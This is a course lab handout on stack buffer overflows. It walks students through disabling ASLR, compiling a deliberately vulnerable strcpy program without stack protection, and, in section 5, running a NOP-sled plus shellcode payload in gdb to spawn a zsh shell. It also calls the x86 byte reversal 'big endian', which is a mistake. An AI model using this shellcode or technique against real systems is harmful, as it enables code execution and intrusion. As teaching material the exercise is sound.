Assignment 1 – Buffer overflow & Race conditions

Security Tools Lab 2

Hand out : 29-Jan-2019

Hand in : 7-Feb-2019

1. Objectives

By the end of this lab, you should be able to:

- Understand memory allocation & buffer overflow
- Carry out a buffer overflow attack to get the bash shell through a normal program
- Understand race conditions
- Carry out a race condition attack to upgrade yourself as root (A1b)

VM

Use the SEEDBuntu VM provided. You can use NAT or NAT network in VirtualBox.
Follow instructions in 'UseVirtualBox.pdf'

Notes

Download the scripts and codes from Edimension

2. Setup

To make the attack possible first on your VM, you have to disable ASLR

```
cat /proc/sys/kernel/randomize_va_space
```

What is the current value? What does it mean?

```
sudo bash -c 'echo "kernel.randomize_va_space = 0" >> /etc/sysctl.conf'
sudo sysctl -p
```

Now you're setting the value to 'zero' to disable ASLR

```
cat /proc/sys/kernel/randomize_va_space
```

Check to ensure the value is '0'

```
ulimit -c unlimited
```

Enabling of debugging & setting maximum size of core dumps to unlimited

```
ulimit -c
```

Verify it's "unlimited"

3. Creating scripts

Under any folder of your choice, use 'nano' to create 2 files : <envexec.sh> & <vuln.c>
Download both files from edimension, open them up on your machine. Copy the content and paste is across on your VM.

<envexec.sh> is used to reset the environment variables to have the program run in the same location in memory. If it's not reset the program will always run in different parts of memory, which will make it more difficult to carry out the attack.

<vuln.c> is your vulnerable C code which is using the insecure method strcpy().
Can you explain why this method is vulnerable? Give the name of the method which is recommended to use instead of strcpy() to prevent buffer overflow? Why is that method safer?

Use CTRL+X to save file and choose the same name.

After saving both files, make the shell script, <envexec.sh>, executable.

```
chmod +x envexec.sh
ls -l
```

Use 'ls' to check if it's 'executable'

4. **Running the code**

Compile the code with the GNU compiler 'gcc'

```
gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -g vuln.c -o vuln
```

Why do we need to include the command '-fno-stack-protector' while compiling?

Run the GNU Debugger 'gdb' through the shell script which strips the bash of all environment variables so that the code will run in the same memory address every time and load up the executable we created 'vuln'

```
./envexec.sh -d vuln
```

You should be inside 'gdb' now. Common commands are 'quit', 'CTRL+l' to clear screen, 'list main' to see your code and 'disas main' to see the assembly code of your C code and 'run' to run your program.

```
(gdb) disas main
```

What is the significance of $0x1fc in the third line 'sub $0x1fc,%esp'

Run the program without overflow. Since the buffer is 500, anything below 500 won't cause an overflow. Pass the string 'Hello' to see that the program exited normally without any error code.

```
(grb) run Hello
```

Run the program with the argument string more than 500.

```
run $(python -c 'print "\x41" * 508')
```

Explain the argument string, i.e, everything after 'run'
Explain how the error code

Check the stack.

```
(gdb) info registers
```

Explain the value of EBP & EIP. Draw a diagram similar to the slides to show the contents of the stack and explain the overflow.

You can also examine the memory address to help with your diagram.

```
(gdb) x/200x ($esp - 550)
```

5 **Prepare the attack**

The attack in this case is using the program to get to the shell, which in this case runs at /bin/zsh, which is another shell type different from 'bash'. Below is a trial which doesn't work but very close to working, and your objective is to do minor changes with the addresses to make it work.

```
run $(python -c 'print "\x90" * 426 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x51\x51\x51\x51" * 10')
```

The long code highlighted in grey is the hex decimal version of running /bin/zsh.
Hex value 90 in assembly is called NOP (No Operation) and used for padding, which is very useful in this attack. Why is it useful?

Check the stack and see the value of EBP & EIP. Remember the objective is to overwrite the content of EBP and return address to point to the address of the shell, which is now in your buffer.

Examine the memory to see the addresses and their contents.

```
(gdb) x/200x ($esp - 550)
```

The value in EBP should be the address in the stack in the middle of all the NOP so that it runs through the NOP and then hits the code for the exploit to give you the 'zsh' shell. Note that you must change the address to BIG ENDIAN format (reverse the order of the bytes).
Why do you have to change it to BIG ENDIAN?

If you can successfully run the exploit you will get the zsh shell prompt. From the shell run the following commands and take a screenshot to show the exploit did run.

```
whoami
pwd
```

Draw the content of the stack to show the exploit and explain how it was able to run successfully.